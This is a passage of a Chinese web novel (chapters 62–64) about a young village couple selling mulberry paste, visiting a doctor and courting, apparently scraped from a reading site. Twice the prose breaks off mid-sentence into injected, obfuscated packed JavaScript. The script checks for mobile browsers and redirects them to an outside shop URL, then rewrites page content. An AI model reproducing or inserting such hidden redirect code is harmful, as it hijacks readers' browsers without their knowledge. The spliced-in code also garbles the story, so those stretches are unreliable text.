向园刚听杨可真说这事儿时,还没转过脑子来,毕竟小孩儿们早晚都忙着摘桑葚,哪有精神头儿去找那些戗行的人报仇呢。 结果晚上去桑树下牵鹿就听到阿七几个嘀嘀咕咕,商量晚会儿下工了去捉癞□□,放到人家锅里去,放被窝里也行。 向园:“……” 这可真是,宁得罪大人,莫得罪小孩儿! 现在,小人儿们可喜欢她,围着她转圈,“园姐姐,园姐姐,村里来了个卖瓜的,好大好圆的西瓜呢,你要不要买?” “这个时候就有西瓜了呀?”向园有些惊讶。 “那卖瓜的说是头一批呢。”阿七甚至带了小半个,这会儿从篮子里掏出来给她和樊云英吃,“樊婶子,园姐姐,你们尝尝,可好吃了。” 他们家人多,就是买好几个,一人分一块也就没了。这半个还是太公和阿公省下来,让他带来的。 “谢谢阿七。也帮姐姐谢谢太叔公和陆阿公。”向园把瓜切开,一人分了一小牙,又问阿七,“你知道货郎怎么卖的吗?” 这才四月中旬,按说西瓜刚开始结果才对,这就开始卖了,肯定是早早就种上,又精心照顾着,才能这么早熟,估计卖的不会便宜。 果然,“要二十二文一个呢,我娘都骂他黑心肝。”阿七道。 不过骂归骂,唐棣华还是买了几个,村里稍微有条件的几家都买了,买不了多买少,总归是个过夏的意思。 “还可以用粮食换,我娘问了下,说是四斤米换一个瓜呢。”阿板咬了一口瓜,含糊着道。 他娘说要是三斤米人家肯换,就给他换一个,可卖瓜的要四斤米,四斤米都够一家人吃好几天了,只能换一个瓜,不划算。 最后也没换成,好在还是吃到了,西瓜真甜啊。 这会儿正是米价高的时候,去城里卖能卖到六文钱一斤,买的话却要六文半甚至七文一斤。确实太贵了。 吃着瓜,小孩儿们还不忘嘀咕那小贩,“他都没卖出几个,除了阿七娘,黄婶子,村头的豆腐张和刑屠户娘子,就没有哪家买的,换的人也不多。” “他们只爱吃大米饭,哪知道西瓜的好吃。”阿节吃得两边脸上沾满了汁水,还埋怨爷奶爹娘不懂孩子的心。 向园尝着这瓜挺甜,瓤还沙沙的。 不过她吃得有点迷糊,一时间辨别不出是因为太久没吃才觉得好吃,还是这瓜本来就这么好吃。但看大家都吃的高兴,她想,肯定是这瓜好吃。 “娘,我去瞧瞧买几个,耕耘哥哥说两三天就回,这都第三天了,咱们买一些,说不定他晚上就回来了。” 他回来见有瓜吃指定高兴。 62. 第 62 章 向园瓜买了不少,结果到晚上原耕耘也没回来,只让二黄带了个小木牌下山。 木牌两面都是炭笔写的小字,一面是“明日归”,一面是“原耕耘”。 向园看看,又递给樊云英看,樊云英摆摆手,她已经看见了,向园就自己收起来。 第二天下晌,原耕耘才回来,正错开阿七他们一步。 他这回在山上呆了四天,原本估摸着昨天就该回的,但运了两筏剩下的不够装一筏了,他们干脆就想着弄满直接运下来,后来又遇上几根好木头,就耽搁了,今天弄完了才下山。 向园一下子精神了,去给原耕耘做饭。 这不早不晚的,晌午肯定没好好吃,说不定都没吃,得赶紧做一些让他解解饥饿。 家里粉面都有,向园问过,原耕耘想吃米粉,向园就煮了米粉,用番茄炒茄子做的臊子,还热了几个馒头,炒了一个青椒腊肉。 青椒、茄子和番茄是今年头一茬,都是杨可真送来的。 他们家二月底就把菜都栽好了,周婶子又伺候得勤快,别家的都还没结,她们家就吃上头茬菜了。 番茄炒茄子酸爽开胃,微红的汤汁染得一碗米粉都带着勾人的馋意,原耕耘照着碗边吹凉,一口汤下肚,胃里都舒坦起来,他才拿起筷子挑米粉吃。 向园掰开一个馒头,往里夹了几筷子青椒腊肉,合起来给他吃。 原耕耘也不接,就着她的手咬了一大口,本来就不大的馒头一下子去了六分之一。 他吃得无比满足,向园看着也觉得满足,没忍住凑嘴边咬了一口。嗯,好吃! 原耕耘叫她逗得直笑,没留神被一根米粉呛住,咳了起来,向园赶忙端了水给他,喝完才缓过劲儿。 待吃下一个馒头,解了腹中饿意,原耕耘才说话,“晌午没歇?” 向园摇摇头又点头,“我躺了一会儿,睡不着就起来了。” 原耕耘将一块茄子和番茄叠在一起,夹了喂她,“你还有睡不着的时候?” 向园:“……” 白想你了! 她一口吞掉,又夹了一个馒头给他,“你吃吧,我去看看水好了没?” 做饭的时候,水就烧上了,米粉是在小锅里煮的,煮完炒的菜,这会儿热水也差不多了。 原耕耘用凉水洗澡,向园不管他,但是洗头一定要用热水,她烧得多了,他洗澡也会掺点用,不至于浪费。 原耕耘拉她坐着,“又不着急洗,陪我坐会儿。” “还不着急?”向园皱着鼻子,“耕耘哥哥,再不洗,你都要臭了!” 虽是这样说,她也没起开,坐在一旁打着扇看他吃饭。 原耕耘叫她噎了一下,没好气瞪她一眼,“向园,这才像你!” 听惯了她喊耕耘哥哥,这么久没回来,她不喊他还挺不习惯的。 喝完最后两口汤,原耕耘捞摸住她的手犯贱,“我去洗澡,你要一起吗?” 向园睁大眼睛往门口张望一下,没看见樊云英的身影才松了口气,回头瞪原耕耘一眼。 原耕耘心里美得很,嘴角都翘起来。 虽然很久没有亲热,但看她这模样,是开窍了的,都知道有些事不能给别人听到。 他收拾碗筷去灶棚,顺便打水洗澡。 向园跟上去,“耕耘哥哥,你快去洗洗歇一觉,我来洗碗。” 原耕耘不走,把碗放下,转过身掰住向园的脸,就是一口。 向园:“……” 向园抹抹脸,有点湿,也不知道是油还是水。 “你吃完饭还没擦嘴!”她泪眼汪汪控诉,又做贼似的地左右看看,没瞧见人影才放下心。 虽然她是被偷的那个,但是也心虚啊。 原耕耘:“……” 他又照着嘴巴亲了一下,势必要给她尝尝味道。 “现在知道了?我洗过了!”原耕耘说着,掰正她的脑袋,“别看了,娘不在。” 樊云英瞧见他全须全尾的回来,就挎着篮子去桑林了,显然是给小两口留个说话的空间。 不过大白天的,原耕耘也没纠缠向园,提着水进屋洗澡,洗完也不去休息,出来跟在向园屁股后,听她指挥。 文武膏熬着不费工夫,只要控制好火候就行。向园熬出经验来,不用时时看着,她催原耕耘去歇一觉。 “不歇了,这会儿不早不晚的,睡了晚上走困。”他道。 “不睡啊?”向园瞧瞧他眼下,没瞧出困意来,“那我去喊娘和阿七他们,咱们切西瓜吃。” 西瓜昨天买回来就冰在井里了,现在切开,吃着肯定凉爽。 “我昨天买了好几个呢,那小贩见我要的多,直接给送到家门口来。我还想着你昨天会回来,刚到家就投了好几个到井里。” 原耕耘听出点别的意思,“昨天等我到很晚?” 向园点头,说了点他爱听的肺腑之言,“耕耘哥哥,我有点想你。” “娘也担心你。”她补充道。 原耕耘这会儿要做不孝子,他只听前半句,“只有一点?” 又想这个问题问不出答案,他换个问题,“怎么想的啊?” 不会是看了木牌才开始想他的吧! 向园不知他的想法,她还没有太流氓的想法,此刻说的想念也比较单纯,“想你在家,想咱们在一起,想你不用那么辛苦就好了。” 原耕耘搂住她,“嗯,我也想你,很想很想。” 单纯地想贯穿始终,流氓地想时有发生。 “辛苦倒不辛苦,你看我是不是又壮了一些。”他挺着胸膛任向园戳。 他没说长高,他说自己长高就显得她不长了,她个子不大,还挺介意这个。 确实壮了一些,不只壮了,还黑了,虽然依旧俊朗,但是看着粗糙许多,不像之前似的,在村里转一圈,好多娘子媳妇儿偷眼瞧他。 现在他和村里汉子一样黑,向园想,以后他们再去村里,大家肯定就不爱看他了。 “已经拉下来一千根了,再走一趟两趟,数目就够了,我也相中几根好木材,要费点功夫,不过端午节之前肯定能忙完。这几天在家里把农活做了,不上山,等二十、二十一看天好再上去。” 不带原耕耘,他们八个人,各家种的也都有地,不是油菜就是豌豆,差不多都是这几天收。 如今运下来的木料都在村东头蓼河边上搁着,原耕耘几个抽空搭了棚子,在村里寻人看着。等到数目够了,何翀会找船来拉,直接拉去县城东南,贡院附近的仓房,预备着七月里使就成。 向园点点头,依着他,心里就觉得踏实。 “耕耘哥哥,你别坐到灶膛口,多热!桑葚汁已经煮沸了,小火慢慢浸浸就好。我现在去喊娘。”她挣挣手。 原耕耘点头,“好,我去切西瓜。” 他回屋拿衣裳的时候就看到了,他们外间地上,靠墙根摆了一排。 各自说完也没放手,两人手跟拉丝儿一样,手掌蹭过,手指蹭过,指尖蹭过,慢慢地、慢慢地松开。 向园感觉手上黏糊糊的,明明俩人都没出汗,手心却像被他粘住一样。 她张了张五指,提醒道:“井里冰的有,有一个特别大,你看看能捞到不。” “好。”原耕耘摩挲手指,上头还沾染她的余温。 西瓜遇水就浮起来了,就是放入篮子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607669|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再投到井里,篮子也装不住它。向园丢井里之前都洗干净了,用篮子系下去,任它们在井里打滚。 至于吃大的还是小的,捞到哪个吃哪个,捞到大的最好。 原耕耘可不这么想,大西瓜,没有捞不起来的,捞不到就重新捞。 这院子的井口宽一些,因为有井盖还有轱辘,不怕人坠下去。 原耕耘伸头看了看,视线一下子就捕捉到向园说的大西瓜。 井水水面不低,他找了跟带倒叉的木头,绑在桶把上,一下就把大西瓜捞桶里了。捞上来的水也没倒,直接连桶拎到堂屋门口,等他们回来再切。 向园过来,阿七他们都快摘满一篮了。喊他们吃西瓜,几个孩子小一点的还发馋,高兴得不得了。大一点的也高兴,但还是坚持把这一篮摘满。 尤其阿七,很有大哥范儿,他一发话,大的小的就没有不听的。 向园觉得挺好,也不催他们,跟着摘。 阿七不仅有威信,还很诚信。 最小的栗子有些贪嘴,听到吃西瓜就待不住了,哪怕肯听阿七的话摘满一篮,也比较粗疏,再没有之前干活时的细致。 阿七看见,走上前去教训他,“栗子,你再这样摘就不要你了。园姐姐这是制药用的,一点马虎不得,你不按要求来,病人吃坏肚子怎么办!” 栗子不服气,“哼,你少管!我这摘的可好了,园姐姐都没说什么。” 大家看了热闹,都不再蒙头摘桑葚,围过来听他们吵架。 帮阿七的人多,“栗子,你这样太坏了,我们以后不带你玩儿。” 栗子才不在乎,“哼,不带就不带,我还不想跟你们玩呢。” 樊云英瞧瞧向园,向园回瞧过去,眨眨眼睛。 这她也不会啊,以前她都没操心过这些,阿文会帮她验货的,过关了才给钱。 早知道让耕耘哥哥来了。或者该提前说好,把验货权交给阿七。每天多给阿七开些工钱,阿七人又负责,她也不用操心了。 樊云英:“……” 小孩子闹矛盾真叫人头疼,先看看阿七怎么处理吧。 被她们寄予厚望的阿七还是头一回被人这样挑战威信,他气得脸都红了,“哼,你就是骗得了别人,也骗不了自己。以后你去买药,你要是知道这药不是用黑红熟透的桑葚做的,难道会高兴!” 小孩儿们义愤填膺,跟着讨伐栗子,角度各不相同。 “坏小孩儿才骗人,坏小孩儿长大就成大骗子了,我们不要跟大骗子玩。” “栗子,你不想跟我们玩儿了吗?”阿牛跟栗子差不多大的,也馋但是胆子小些,先头看了栗子半天,也没敢跟着学。 栗子哼了一声,别过头去,没有说话。但眼里已经憋着泪,看着要哭。 阿七叹了口气,板着脸道:“栗子,你把刚摘的那些掏出来,放在大叶子上,我帮你捡。” 边上就有很大的苘麻叶,他扯了几片铺在地上。 阿牛赶紧扯住栗子的衣袖,“栗子,你现在改,就不是骗子,我们还跟你玩。快把篮子提过来,我们帮你捡。” 栗子神色似有松动,发生了这一茬,他早没心情吃瓜了。 也不待他答应,几个孩子都围上前去,帮他把不够熟的挑出来。 八个小孩儿头顶头凑到一起去,埋头挑桑葚。挑出来的也不能浪费,他们往自己嘴巴里塞。 这是向园答应过的,他们来帮忙摘,桑葚任由他们吃,每天还可以带一些回去给家里人。 不够熟的桑葚酸味大过甜味,几个小孩儿龇牙咧嘴,眉毛跟头发都要挤到一块去。 樊云英和向园对视一眼,悄悄走远。 63. 第 63 章 原耕耘见他们一直未回,出来寻人。 “怎么这么久?”他接过樊云英的背筐。 樊云英捶捶肩膀,摆着手一溜儿小跑,“你俩慢慢走,我渴得慌,赶着回去喝口水。” 向园:“诶?” 她刚想跟上去,就被原耕耘拉住。 向园拽他,“咱们走快点,娘想喝水呢。” 原耕耘把她拽回来,“娘想喝水咱们走快点做什么?你也想喝水?” 这傻妞,难道看不出来娘故意走远让他俩说话吗? 向园真没看出来,她眨眨眼,“我回去给娘倒水啊,还要让她少喝点,留着肚子吃西瓜。” 孝顺极了。 原耕耘:“……” 她就想吧,反正他不松手。 “我背着筐子沉得很,走不快。”原耕耘说着,人像被千斤坠坠着一般,脚开始一点一点往前挪。 向园不信,试图去掂筐,“怎么回事儿,昨天我也是用的这个背篓啊,怎么变沉了?” 原耕耘个儿高,她掂不到,很是困惑,“耕耘哥哥,是不是你在山上累着了?还行不行?不行给我我来背。” 原耕耘:“……” 男人岂能说不行! 他立马放松肩膀,迈开步子,轻松道:“我逗你的,一点不沉。怎么去了这么久?” 向园这才跟他说阿七几人的事,“耕耘哥哥,要是你你会怎么办?我那会儿真怕他们打起来呢。” 毕竟小孩子吵架、打架真的很寻常,以前阿文都是以力服人,大家也都服他。 原耕耘不觉得这算什么矛盾,“不可能打起来,村里小孩都这样,这会儿你不搭理我我不搭理你,恨不得老死不相往来的,下一刻就又凑到一起去,比亲兄弟还亲,要不怎么都说小孩儿狗脸呢?” 还不是因为变得够快。 “而且阿七在,你就放心。他很靠谱,可不会带着一群小孩儿孤立某一个。你头儿选对了,别的就不用操心。” 向园也很相信自己的眼光,“耕耘哥哥,你好聪明啊,但不要这么拿狗作比较嘛,一二三还是挺乖的。” 除了二黄有些憨憨的外,大黑和三花都有点高冷。 当然此刻二黄不憨,因为只有它汪汪叫着回应了,嘴角还沾着点黑红的桑葚汁。 小孩儿们嫌没熟透的桑葚酸,就来喂狗,大黑三花都不吃,只有二黄不舍得浪费,吧嗒吧嗒都吃光了。 它顶着扁圆扁圆的脑袋,就想往向园身上蹭,原耕耘伸腿拦了一下,它抬起头来,眼睛瞪得又大又圆,水汪汪的,看着有种诡异的喜感。 “不许瞎蹭,”向园摸摸狗头,“走吧,先不洗了,回家给你吃西瓜甜甜嘴。” 西瓜也是红色的汁,吃完了一道洗。 在井水里冰了一天一夜的大西瓜过于凉爽,尽管个头儿很大,但人多,每人吃两块就没了,大家还意犹未尽。 原耕耘又去开了一个,啧,一个比一个甜。 吃过西瓜,向园跟他们讲话,“这段时间你们都辛苦了,今天给你们放个假,明天再来吧。” 栗子怯怯地看过来,向园没有注意到,小手一挥,让原耕耘给他们发钱。 一回来就掌管几十个铜板经济大权的原耕耘很荣幸地站在一溜儿小孩前,一个孩子七个铜板发过去,到最后一个,钱刚好发完。 因为下午只摘了一篮,给他们算一文钱。 小孩儿们效率还是挺高的,本来这一晌能摘五筐的,但今天是个例外。 原耕耘回来了,向园想偷个懒,给他们放假,也给自己放假,下午把膏熬完,晚上就不忙了。 这几天看着不忙,实则也是连轴转,小孩儿们一天就能摘六十四筐,她们也不能懈劲儿,得趁新鲜把膏熬出来。 灶房连带灶棚,两个灶五六个大锅小锅,早晚不停烧着,勉强能把他们摘的熬完。 连滤桑葚汁的架子都又搭了四个。还有捣桑葚的桶,村里以前有养蜂的人家,这几年不养了,但工具还在,原耕耘去买了几个摇蜜桶,回来改造一番,就成了很好的拌桶,人只用摇动手柄,桶里的木板就会旋转,把桑葚碾碎,省了不少工夫。 幸好家里柴火多,见天不停火的,柴棚里的大柴火已经去了三分之一。 向园还琢磨着,要是弄不及,就再垒一个土灶,把隔壁那口大锅也弄来。但慢慢地也顺过来劲儿了,她就不再张罗。 桑葚是分批成熟的,向园这几天早起去放鹿的时候也瞧过,估计到四月底五月初,剩下那些果子就能全部摘完。 摘的桑葚多了,他们每天都要熬三四十罐文武膏出来,头次买的一百多个罐子也就用了五天。 向园老早就估摸着不够,趁原耕耘在家,就又让他去陶窑订了一批。 原耕耘先去医馆问,装大罐子能不能收。 医馆不想再二次装罐,考虑到患者的需求,说可以收两斤罐的,价钱按之前的两倍。 之前他们买的都是一斤罐,所以原耕耘干脆又多定了些两斤罐。一斤罐两文钱一个,两斤罐三文钱一个,算下来还省了一文钱的成本。 原耕耘回来了,向园打算,明天先把家里存的这一批送去医馆。 从请小孩儿们开始摘桑葚到现在,她已经存了有三百多罐文武膏了,都是小罐。她打算把小罐用完了再装大罐,这样往医馆送的时候也好装车。 今天这些熬完,向园又装了十来罐,一共是三百五十二罐。 最先头熬的那三罐没算在里面,那些向园留着自家吃了,樊云英还挺爱那个味道,每天都要吃一勺。 向园建议她早中晚各服一次,就算没病,文武膏常喝也能补肝肾、益精血。 她还打算最后一批熟桑葚熬的膏留着不卖,自家吃。 东西多,骡车要规整的才好装。原耕耘趁天还早,带了两罐桑葚膏去里正家借骡车。 向园洗了锅去做夕食。樊云英去灶房烧水。 连着一旬,这院子都是桑葚的味道,和桑葚膏的酸甜味,这会儿气味终于散了些许,向园觉得自己鼻子都不大灵了。炒青椒的时候还没闻见辣味,就被呛得打喷嚏。 吃过饭,樊云英起身收拾碗筷,“你俩都累了一天了,赶紧洗洗,早点歇着。” 向园看看才刚升起的大月亮,目露不解。 早点歇着没错,但这未免也太早了吧! 原耕耘倒没说什么,他接过碗筷,“我们收拾,娘,你早些洗漱歇着吧。” 樊云英听懂了,这不是他俩回房能解决的事,这是让她回房别出来碍眼的事。 她看看一无所知的向园,放下碗筷回去了。 既然俩人不嫌累,那她就歇着吧。 原耕耘先给向园提了水洗漱,等他收拾完碗筷出来,樊云英已经去后一楹草堂歇息了,他这才冲了一遍凉回屋。 向园刚洗完澡,她穿了新裙子给他瞧,“好看吧?耕耘哥哥!” 她站起来转一圈,山梗紫绫纱裙摆如水波荡漾开,艳冶妖娆,裹在裙子里的如玉美人好似重瓣石竹花心探出的雪白嫩蕊,天真皎洁。 原耕耘看直了眼,转身栓上门,洗了手朝向园走去。 “向园,你还没有跟我说,怎么想我的。”他声音低沉,捞起向园打横抱着,既不坐下,也不往床上去,晃着胳膊把她往上颠了颠。 向园轻呼一声,连忙搂紧他的脖子,稳住身体,“我今天说了呀,想你在家,想咱们在一起,想你不用那么辛苦就好了。” 这样抱,她比他稍高一点,视线也是下垂的,可被望着的人丝毫感觉不到俯视,能看见的,只有她眼里直白的喜悦和她自己都不曾发觉的喜爱。 原耕耘星眸里蕴满笑意,摇头缓声道:“不是,那是想的什么,不是怎么想的。” 向园回忆一下,照抄照搬 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繁杂琐碎的活计经她的口说出来,就有种别样的趣味,原耕耘听得很认真。 向园说完,偏过头看他,眼睛亮晶晶的,“耕耘哥哥,我发现一件事。” 原耕耘直觉不妙,“什么事?” 向园额头抵着他的额头,眼睛对上他的眼睛,“耕耘哥哥,我发现一个人睡,好像更凉快一点。” 这的确是很奇怪的事,明明他皮肤是凉的,她贴着他也能感觉出凉意,可那种冰凉却不足以使她平和地入睡,反而是一个人的时候,虽然有一点点热,但她扇会儿扇子也就睡着了。 原耕耘微微仰脸,鼻尖跟她对上,抿了抿唇道:“可我一个人睡,会觉得冷。” 向园叫他委屈的神情和语气惊得坐直,“怎么会这样?” 她慌忙伸手给原耕耘把脉。 每每他说一些问题,她总觉得是他病了,可是把脉的时候又没看出来什么,向园怀疑自己医术不精。 差一点就亲上的原耕耘:“……” 他握住她的手腕,重新把她带入怀里,“向园,我好好的,不需要把脉。你一个人睡,觉得凉快。可我不挨着你,我觉得冷。” 这要怎么办?向园心慌慌的,“明天咱们顺便找大夫给你把脉吧,不是身体的原因,那难道是山高林子密才冷的?下回进山一定要带条厚被子。” 说着,她就要坐直好好看看原耕耘的脸色。 原耕耘把她拉回来:“……向园,我不是身体冷,我是心里冷,你陪着,我才睡得安稳。” 这样啊! 向园明白了,蹭蹭他的额头,“那我就陪着你。” “嗯。”原耕耘轻笑一声,仰起下巴,含住她的唇瓣。 向园发现原耕耘鼻梁有点高,亲的时候,唇瓣吮吸,鼻尖轻蹭,相夹的一点点空隙,被他的呼吸侵染。 之前很多次也是这样,她那时没有在意。 这好似是她第一次清晰地感受到这一点,也更加敏锐地感受到自己。 皮肤的震颤比之以往更甚,闭上眼睛,她能知道他在哪,能感受到他在做什么,她还猜得到他下一步要往哪里去。 檀.口微张,香腮泛粉,神思飘忽,双眸.迷.离,她自己都没发觉,只是酝酿了许久的泪终于溢出眼角,随之而来的还有一声短促而婉转的呻.吟。 一个音调,拐了很多道弯。 “耕耘哥哥……耕耘哥哥……” “嗯,在这儿……” 热.潮和血液竞相上涌,向园扭扭身体,双手摸索着试图去寻原耕耘的下落。 明明感受到他,可是一点都不够,她想离他近一点,再近一点……四肢纠缠,胸腹相贴,耳鬓厮磨,两个化作一滩才好。 64. 第 64 章 一早起来,向园看原耕耘的眼神就甜蜜蜜的,像是浓稠的蜂糖,黏连不下。 原耕耘心里得意,还要克制着压下嘴角,免得被樊云英看出端倪。 向园就没那么刻意,她身心舒畅,冲谁都笑得甜,对着樊云英也是双眼亮晶晶的,一口一个娘,喊得樊云英欢喜又疑惑——瞧着俩人都挺得意,这对劲吗? 她两口喝完汤,帮着装好车,冲不知羞的俩人摆摆手,连声道:“赶紧走赶紧走!趁太阳还没起来赶紧走!早去早回啊!” 想了想,又道:“在城里逛逛也使得,等下晌凉快些再回,园园带好草帽。” 说着帮向园把帽绳系好,撵着二黄回院子。 向园跟她摆手,“娘,我们不多留,送去医馆就回来,你有什么要捎带的没?” “没有,我什么都不缺。”樊云英说着,瞧见原耕耘从篱笆门出来,还真想起来一件事。 她几步走过去,低声交代了两句话。 向园只瞧见原耕耘点头,听不见他们说什么,好奇死了。 原耕耘过来就见她侧着脸,耳朵竖得高高的,眼睛瞪得大大的模样。 他上前捏捏她的耳垂,“兔子都没你耳朵长,都听见什么了?” 向园掰开他手,“什么都没听见,耕耘哥哥,娘跟你说的什么啊?” 原耕耘反手掐住她腰将人抱上车,“说让我带着你买好吃的,好玩的。你有什么想要的,今天咱们都买。” “想要的啊?”向园想不出来,她觉得现在的日子就很好,有家,有娘,还有耕耘哥哥,放在两个月前,这是她想都不敢想的事,她特别特别知足。 “没关系,还有一路呢,可以慢慢想!”原耕耘道,“以后也是,随时想到随时说,省得你忘记。” 向园想了一路,还真想到了,“耕耘哥哥,我们再去买画吧!” 原耕耘:“……” 骡子走歪了一点,他赶紧撵回正道上,偏头瞧向园,“那本你看完了?” 向园点头,“看完了。耕耘哥哥,我们去瞧瞧有没有别的故事,这次不要书生和小姐了,看看有没有村夫和村姑的。” 书生和小姐花前月下,虽然也亲热,但离他们的生活有点远呢。她想看个跟他们生活贴近的,这样才更具有参考性,还方便他们学习。 原耕耘笑了,“你想看村夫和村姑,还是想看我和你?” 向园:“我都想看!” 原耕耘深深看她一眼,点头,“都买,后天跟我一起上山?得把小院收拾收拾,你帮我好不好?” “好!”向园答应得很快,“正好我好久没去山上了,顺道过去看看。” “嗯。”原耕耘牵住她手,“等手上这事忙完,以后上山都带你一起。” 医馆这里都是问好的,没有什么波折,倒是来指挥卸货的小伙计还记得梅丛殊,他觉得事情有点巧。 “你们可认得安田里的梅郎君?往年他经常来我们这儿送药材,今年只三月初来了一回,就再没见过。他家里也有人会制文武膏。” 向园高兴道:“他是我表哥,前些日子出远门了。” 小伙计一愣,手里的罐子差点没掉地上,原耕耘眼疾手快接住。 “多谢郎君,多谢郎君。”小伙计虚惊一场,不敢再分神,等把全部文武膏卸好放好才道,“原来你就是梅郎君的那个神仙妹妹。” 他仔细打量一番,拍着脑门儿嚷嚷:“我早该想到的!我早该想到的!我原来还不信,想着梅郎君嘴上没个把门的,八成是他夸大炫耀,如今一见,才知道他是顶顶实在的人,说的话再真不过了。” 向园听出来,这是在夸她漂亮,她瞧瞧原耕耘,眼睛亮亮的,像是在说,耕耘哥哥,看吧,大家都觉得你娶了个漂亮娘子! 原耕耘情不自禁笑出声来,捏捏她的手,“走吧,去结账。” 三百五十二罐文武膏,原耕耘拿了两罐给里正,向园又留了二十罐在家,以备不时之需,带来的三百三十罐,每罐五十文,共计是十六两五钱。 幸亏向园做的新钱袋够大,才装得下。 原耕耘让她拿着过把瘾,就毫不留情地把她的褐地三瓣花纹绫钱袋收进自己的虎头背袋里,挂在肩上。 向园还记得正事,拉着原耕耘要去找大夫把脉。 原耕耘很无奈,低声跟她咬耳朵,“向园,你行不行了,听不懂一点弦外之音?” 向园觉得他讳疾忌医,扁着嘴巴规劝,“去找大夫把下脉,我才放心嘛!要是没有生病,我肯定不会逼你喝苦药。” 她知道汤药有多苦,她也不喜欢喝药的。 原耕耘想了想,跟着去了,没想到还真叫大夫看出点毛病。 还是上次那位老大夫,他捋捋胡子,迟疑道:“情欲不遂,气郁化火,致使心火亢盛。” 他说完,手也没抬起,还搭在原耕耘的腕上,似乎对这个诊断结果十分不理解。 向园很好奇,手搭在原耕耘右腕上,问:“大夫,怎么看出来的呀。” 她看原耕耘面色和舌苔还挺正常的,他解手的时候,她也偷偷听了听,也挺正常的。 老大夫行医数十年,还从没被病人家属问过这样的问题,但对方眼睛里只有好奇,他连被冒犯的恼怒都生不起来,顺口就答道:“脉洪数而有力,面赤,目赤。” 向园听着,仔细感受原耕耘脉搏跳动,还真找着感觉了,她自己琢磨着把脉总是拿捏不好,原来这就是洪脉啊。 老大夫看他们不是认真看病的样子,赶他们走,“他这不要紧,去柜上包几两黄连,每次取半两,加水一碗半,煎成一碗,饭后过一阵温服,过几天火消了就好。” “谢谢大夫!”向园道谢,掏原耕耘的钱袋付诊费。 “不用了。”大夫摆摆手,扬声喊小伙计,“包半斤黄连。” 这是不收钱的意思?小伙计摸摸脑袋,跑去抓药了。 原耕耘:“……” 这不是没苦硬吃吗? 老大夫瞧瞧他俩,“你是向维安的孙女儿?” 向园点头,“大夫,您认识我爷爷啊?” 她都不太记得爷爷长什么样子,她很小的时候,他就去世了。 老大夫摇摇头,叹道:“慕名已久,无缘得见。你嫁人了,以后还会继续采药吗?” 他问的是向园,看的却是原耕耘。 梅丛殊来送药的次数多,又爱说爱笑,没多久这医馆里的人都清楚他那采药的表妹是绿蒲村向家遗孤了。 向家虽远居山野,却不避世,相反向家子弟学成之后的第一门必修课就是外出游方行医,时间不限。 但这么多年来,没有一个向家子弟游历少于三年的,向园的祖父游历半生,她的曾祖父更是一辈子都游走乡野行医救人。 他是蓼城的一项标杆,医者未必人人都认识他,却人人都听说过他。 可惜向家数代单传,便是医术精湛也难得传承,后代中更没有哪个活过五十岁的。 向园父亲更是不惑之年便英年早逝,向家的传承也算断了。 到向园这里,不指望她继承父辈遗志,但她只要有心,杏林中人都愿意给予几分照顾。 向园倒没发觉老大夫复杂的心思,听他这样问,自然就点头答道:“当然要继续采药了,我还想去药王山看看呢。” 原耕耘发觉了,也只是含笑看着向园,显然是尊重她的意愿。 老大夫挺高兴,“我姓白,医药上遇到什么疑虑,尽管来问。” 向园兴奋点头,“谢谢白大夫,我以后采药还往这儿送,保准都是好的。” 白大夫失笑,挥手赶他们离开,“走吧走吧!” 原耕耘长出口气,告别后同向园一起往外走。 背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631686|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传来老大夫中气十足的喊声,“阿登,黄连还没包好?” “来了来了!”小伙计把满满一包黄连递过来。 向园笑得热切:“谢谢!” 原耕耘:“……” 眼见原耕耘又要往布庄去,向园赶紧拉住他,“耕耘哥哥,我们要好好过日子,不能败家!” 原耕耘:“这就叫败家了?” 向园:“这还不叫败家?谁家好媳妇儿一个月上两回布庄的!” 原耕耘:“可是好相公都是一个月带媳妇儿去两回布庄的。” 向园不要他做好相公了,“不对,好相公该听媳妇儿的话,媳妇儿说不去就不去,媳妇儿说去才去。” 原耕耘听她的话,“那咱们去买画?” 这个可以,向园点头,“走吧!我们这次不要那西洋画了,问问那书生能不能单买话本子。当搭头的话本子,肯定会便宜些。” 原耕耘觉得书生的回答很可能会让向园失望,不过还是带着她往草市桥去。 第二回到这个地方,向园才觉出这里的好来,两墙夹角,上午太阳照不着。边上有株大槐树,下午就在凉荫底下,的确是夏日摆摊的好地方。 书生照旧头不抬眼不睁的,只问,“要什么?” 向园抻着头往他后头看,这回没有话本子诶。 她扯扯原耕耘的袖子。 原耕耘握住她手,“西洋画搭的那册子有吗?” 书生掀开眼皮撩了一眼,“册子不单卖,买西洋画才送。” 向园鼓起勇气,“可我们不想要西洋画!只买册子不行吗?” 书生抬头,满脸的困惑,“为什么?那画画的不好吗?” 向园瞧瞧原耕耘,原耕耘将她挡在身后,“我们只是觉得奇怪,西洋的男人和女人长得并不像同一种人,他们跟我们不一样,却住着和我们一样的房子,用着和我们相似甚至相同的器物,整体有些诡异。画这画的人去过西洋吗,他见过真正的西洋人夫妻吗?” “原来是这样?原来是这样!”书生喃喃自语,“还有什么问题,你把你知道的都说了,我白送你们册子。” 向园仰头瞧原耕耘。她和耕耘哥哥知道生孩子是怎么回事儿了,可这书生好像不懂诶,后头几张都画错了。 原耕耘把她草帽往下拽拽,挡住她好奇的脸,“或许你可以娶个媳妇儿,等你娶妻了,就知道最后那些该怎么画了。” 